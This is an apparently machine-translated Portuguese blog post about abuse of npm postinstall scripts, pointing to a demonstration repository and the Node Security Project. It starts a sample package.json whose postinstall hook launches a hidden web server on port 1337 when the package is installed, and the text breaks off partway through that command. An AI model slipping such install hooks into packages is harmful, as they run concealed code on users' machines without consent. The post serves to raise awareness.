segurança do nó: npm mau uso de pós-instalação (não faça coisas ruins com o nó)

Um pacote npm que você instalou pode se infiltrar no seu computador? Sim pode! Veja como depois do intervalo; vá e apoie o NODE SECURITY PROJECT

Github Repo: https://github.com/johannesboyne/dontdobadthingswithnode

Veja o exemplo a seguir, é um npm mínimo, package.json mas se eu escrever assim, poderei fazer o que quiser em seu sistema se você for instalar meu pacote. Como iniciar um servidor web na porta 1337 e escondê-lo de você .

{
 "name": "test",
 "scripts": {
 "postinstall": "echo 'var http=require("http"");http.createServer(function (req